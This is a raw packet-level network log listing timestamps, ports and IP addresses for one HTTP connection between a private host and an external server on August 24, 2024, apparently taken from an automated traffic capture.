Aug 24, 2024 12:21:56.465039968 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465049982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465059042 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465061903 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465071917 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465075970 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465081930 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465090036 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465100050 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465109110 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465118885 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465118885 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465138912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465142965 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465150118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465154886 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465178967 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465187073 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465197086 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465199947 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465209007 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465226889 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465229988 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465241909 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465270042 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465271950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465282917 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465312004 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465312004 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465333939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465344906 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465354919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465364933 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465373993 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465375900 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465392113 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465399981 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465410948 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465416908 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465420008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465435982 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465459108 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465534925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465574026 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465605021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465646029 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465992928 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.466037035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.466041088 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.466047049 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.466057062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.466068029 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.466082096 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.466082096 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.466101885 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554090023 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554104090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554194927 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554208040 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554220915 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554230928 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554264069 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554267883 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554275990 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554280996 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554291964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554303885 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554305077 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554322958 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554336071 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554399014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554410934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554419994 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554425955 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554436922 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554450035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554454088 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554461956 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554465055 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554472923 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554491043 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554491997 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554521084 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554539919 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554712057 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554723978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554734945 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554747105 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554763079 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554764032 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554775953 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554786921 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554786921 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554801941 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554830074 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554856062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554879904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554892063 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554899931 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554903030 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554914951 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554924965 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554927111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554939032 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554950953 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.554959059 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554968119 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.554997921 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555022955 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555035114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555044889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555054903 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555066109 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555077076 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555078983 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555088997 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555100918 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555102110 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555111885 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555121899 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555135965 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555149078 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555151939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555167913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555177927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555190086 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555202007 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555205107 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555213928 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555224895 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555229902 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555238962 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555246115 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555249929 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555267096 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555291891 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555490017 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555501938 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555511951 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555524111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555536032 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555537939 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555546045 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555553913 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555560112 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555576086 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555579901 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555588007 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555598974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555609941 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555612087 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555619001 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555622101 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555638075 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555639982 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555649042 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555665970 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555665970 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555676937 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555686951 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555696964 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555699110 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555711031 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555711031 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555722952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555732965 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555743933 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555747986 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555753946 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555764914 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555789948 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555799007 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555809975 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555819035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555840015 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555850983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555852890 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555860996 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555860996 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555879116 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555891037 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555891991 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555902958 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555913925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555917978 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555926085 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555936098 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555958033 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555974960 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.555984974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.555995941 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556005955 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556024075 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556034088 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556040049 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556051016 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556060076 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556070089 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556080103 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556082010 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556092978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556102991 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556117058 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556143999 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556176901 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556188107 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556197882 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556210995 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556221008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556225061 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556231976 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556248903 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556248903 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556262016 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556267977 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556279898 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556291103 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556298018 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556302071 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556313038 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556314945 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556324005 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556334972 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556338072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556354046 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556382895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556412935 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556453943 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.556473017 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.556512117 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.644804955 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.644814968 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.644824982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.644836903 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.644853115 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.644870996 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.644881964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.644892931 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.644893885 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.644903898 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.644916058 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.644956112 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.644969940 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645029068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645040035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645050049 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645060062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645070076 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645076990 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645081043 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645092964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645098925 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645108938 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645117044 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645121098 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645128965 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645132065 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645142078 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645155907 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645165920 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645194054 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645210981 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645221949 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645231962 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645251989 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645262957 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645311117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645322084 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645332098 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645342112 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645353079 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645356894 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645364046 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645375967 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645396948 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645400047 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645432949 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645576954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645586967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645596027 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645606995 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645616055 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645617008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645626068 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645632029 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645641088 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645651102 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645653009 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645665884 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645675898 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645678997 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645689011 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645697117 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645699024 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645710945 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645714998 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645720959 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645731926 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645739079 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645740986 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645751953 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645756006 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645761967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645768881 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645775080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645792961 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645814896 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.645824909 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.645864010 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:57.314114094 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:57.319025040 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.505970001 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.505984068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.505994081 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.506012917 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.506017923 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.506023884 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.506098032 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:57.506119967 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:57.506139994 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.506150961 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.506160975 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.506166935 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.506177902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.506181002 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:57.506207943 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:57.506231070 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:57.506263971 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.506274939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.506284952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:57.506306887 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:57.506329060 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:57.506367922 CEST	80	49730	104.194.151.11	192.168.2.4
